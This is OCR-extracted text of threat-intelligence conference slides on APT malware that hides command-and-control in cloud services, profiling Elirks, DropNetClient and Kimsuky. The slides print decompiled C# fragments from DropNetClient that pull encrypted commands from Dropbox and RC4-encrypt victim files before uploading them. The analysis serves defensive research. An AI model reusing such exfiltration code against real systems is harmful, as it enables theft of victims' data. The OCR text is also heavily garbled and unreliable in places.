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Let’s Play Hide and Seek
In the Cloud
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* Ashley Shen

 Threat Analystin Team T5

* APT research, Malware analysis
 Malicious Document Detection

e Member & speaker of HITCON
* Core member of HITCON GIRLS
e Also aTroopers!

 ashley@teamt5.org

2N
NP, TEAMTS

Cyber Security Research

O Let’s Play Hide and Seek in the Cloud
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How do cloud service take part
in APT attack?

What can malware do
with cloud service?
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APT Leverage Cloud Service Models
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PaaS
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APT Leverage Cloud Service Models

Cloud Service as \

e Invisibility cloak /

Code

PaaS

laaS
VM
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Second Stage C&C
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 Name: Elirks

e Targeted Country: Taiwan,
Japan., HK

e Targeted Sector: GOV,
ThinkTank

* First Seen: 2010

 Infrastructure: Yahoo, Plurk,
Google (blogger), Dropbox,
Twitter

e Campaign: Elirks group

Elirks

O Let’s Play Hide and Seek in the Cloud
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andrea666 iz got Available serial Number -
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* In 2012~2014, Plurk had been used in several incidents.
* Encode C2 information with modified TEA and Base64.




In 2014, Elirks start to Hide C2 information in Html tag

e 00 Gjack Marsh > S Bview-source:jackmarshZE X

&« C' [9 jackmarsh22.blogspot.hk

S+ 0 More ¥ Next Blog»

Pattern
Jack Marsh <http://google.com.tw

/376198347
+ C2 information

MR
Green Jim

GreatScotland
800 Gview-source:jackmarshz‘ X

Professor John Curtice stated in January 2012 that polling st

independence at between 32% and 38% of the Scottish popul C [ view-source:jackmarsh22.blogspot.hk Y &

from 2007, when the Scottish National Party (SNP) first form

[4] Up until January 2012, there was an insignificant amount 7%

majority support for independence, although the share "veh( 7% | <div class='post-outer'> : £ ; ]
independence” declined. [4] Polls in March and April 2014 shc 7% <div class='post hentry' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.orqg/BlogPosting'>

<meta content='5124970462968853261"' itemprop='blogld'/>

<meta content='6374163758344064570"' itemprop='postld'/>

<a name='6374163758344064570'></a>

<h3 class='post-title entry-title' itemprop='name'>

<a href='http://jackmarsh22.blogspot.hk/2014/02/jack-marsh.html'>Jack Marsh</a>
</h3>

<div class='post-header'>

<div class='post-header-line-1'></div>

</div>

independence at an average of 55% (excluding those who reg
opinion), compared to 61% in the period before December 2( 7%
the month of the referendum, the poll results appeared to n 7
September, the average opposition to independence stands  *°
in April 2014 suggested that a high turnout in the referendur
801

»'description articleBody'>

S 4 b X S 2 of Australian aboriginal dd
who rcpresented Ncw South Wales in six matchcs from 1900&#8211 01 to 1902&#8211 03. A right-arm fast bowler {
extreme pace, Marsh was blessed with high athletic qualities and was regarded as one of the outstanding tale
his era. However, his career was curtailed by continual controversy surrounding the legality of his bowling 4
he was no- ballcd mult.\.plc tmcs for throw.\.ng As a result of the dcbate over the lcgltlmacy of hls act).on, M3

<http://google.com. hk/37619834?7f= v1ugrq&hp b695b1ed&mp 3@9b75e0&pg jtt&eh123>

9 Born into the Bundjalung people at Yulgilbar on the Clarence River in northern New South Wales, Marsh first
impression as a professional runner, travelling to Sydney and then competing interstate, winning races as a ¢
and a hurdler. While in Sydney, Marsh began competing in the local club cricket competition and his action ¢
came under scrutiny. He was first no-balled for throwing in 1897, but it was not until 1900 that he came to
prominence in a trial match against the New South Wales state team. Marsh dismissed leading Test cricketers
Trumper and Monty Noble, but was called for throwing. Marsh vowed to prove the legitimacy of his action by bq
with his arm encased in splints, which prompted the umpire to resign in humiliation. Having topped the bowli
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exclte' Occasionally, life can be undeniably, impossibly difficult. We are faced with
CIRFHOERE challenges and events that can seem aNxVeQRQxKj4G610LpptVISRanewoy
RETEET. Jh overwhelming, life-destroying to the point where it may be hard to decid
e whether to keep going. But you always have a choice. Jessica Heslop shar
es her powerful, inspiring journey from the worst times in her life to the ne
dsfsdf w life she has created for herself

by example0909
207 1-LER3S # by example0909 | 2015-01-06 18:40 | Trackback | Comments{D)

In 2015, Our latest observation shows that Elirks using Japan Blo
g to targeting JP victim. Encrypt with DES.



Similar Malwares

WMIGhOst

Start from 2009, targeting Tibet victims

Midhos

Start from 2012, targeting Tibet & Taiwan

IXEHSE

Start from 2009, targeting Japan& Taiwan

e Taleret

Start from 2010, targeting United Nation & Taiwan

* PlugX

Start from 2012, targeting Japan & Hong Kong & Taiwan
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DropNetClient

Name: DropNetClient
Targeted Country: Taiwan
Targeted Sector: GOV
First Seen: 2015
Infrastructure: Dropbox
Behavior:

Fetch command from
Dropbox and upload
victim data to Dropbox.
Campaign: Taidoor



Low Detection Rate

@ ldentification Details
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2015-04-056 00:43:41  0/57
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@ |dentification Details U Analy

< > v 2

2015-05-11 12:47:30  11/56
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Engine
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Alibaba

Engine
Ad-Aware
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Signature

& Subrr
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Version
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Update
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Version Update

12.0.163.0 20150511

15 20150511
20150511




* Usetwo RC4 Keys.
e Key 1: A pubKey use to decrypt the file
“10101” download from dropbox”.

namespace DbxClient

{

internal class HostControl

{

private static string pubKeyStr 3 "21u89fthjsbhc7834bauyg7q893dtyu”;

while (true)
{

array = null;

client.GetFile(rootPath + "10101");
= RC.RC4(file, file.lLength, HostControl.pubKey, HostControl.pubKeylLen);

if (array != null)
{

h

Random random = new Random();

num += (Math.Abs(random.Next()) % 30 + 60) * 1000;
num2 += num;

if (num2 / 1000 > 1800)

{

}
Thread.Sleep(num);

goto IL_85;

break;




* Usetwo RC4 Keys.
« Key2: The decrypted key, use to encrypt
the victim files and upload to dropbox.

public static bool UploadFile(DropNetClient client, string localFile, string getPath)
{

bool result;

try

{
if (client == null || localFile == null || getPath == null)

result = false;

}
else if (!File.Exists(localFile))

result = false;

¥

else

{

FileStream fileStream = new FileStream(localFile, FileMode.Open);
string fileName = Path.GetFileName(fileStream.Name);

byte[] array = new byte[fileStream.Length];

int num = fileStream.Read(array, 0, array.lLength);
fileStream.Close();

if (num < array.lLength)

result = false;

}

byte[] array2 = RC.RC4(array, array.lLength, HostControl.key, HostControl.keylLen);
client.UploadFile(getPath, fileName, array2, true, null);

}
¥

catch

result = false;

}



Similar Malwares

e Gdrive RAT

— Start from 2012, targeting Taiwan, leverage Google Drive

* Inception (BlueCoat)
— Start from 2014, targeting RU, RO, VE, MZ, PY, TR, KR, leverage CloudMe

e jllitat

— Start from 2010, targeting Taiwan, leverage blog services




Control Channel




 Name: Kimsuky

* Targeted Country: KR

* Targeted Sector: GOV; Military
Industry; ThinkTank

* First Seen:2013

* Infrastructure:

Public email service,TeamViewer

 Behavior: communicated with its
“master” via a public e-mail
server and TeamViewer

O Let’s Play Hide and Seek in the Cloud
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RC4 Encrypted

RC4 Encrypted Data

RSA Encrypted RC4 Key

https://securelist.com/analysis/publications/57915/the-kimsuky-operation-a-n orth-korean-apt/



What APT malware love about
cloud service?




* Easy to deploy and change
* Low Cost

* Bypass passive DNS

* Bypass IDS

* Bypass AV

* Difficult to trace the source

O Let’s Play Hide and Seek in the Cloud



What can we do?

e Black List

O Let’s Play Hide and Seek in the Cloud



Cyber Threat Intelligence
« Private Detective  Doctor

« Investigation - * Prescription

Long-term tracking * high-level strategy
« Campaign Tactics
Techniques and

procedure

review prevent

'fgx{;i\
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detect -

« Emergency

Response Team reSpond

« Emergency
Response »
Handling Crisis

« Security Guard

e 24x7 monitor -

report

* malware weapon « indicator match
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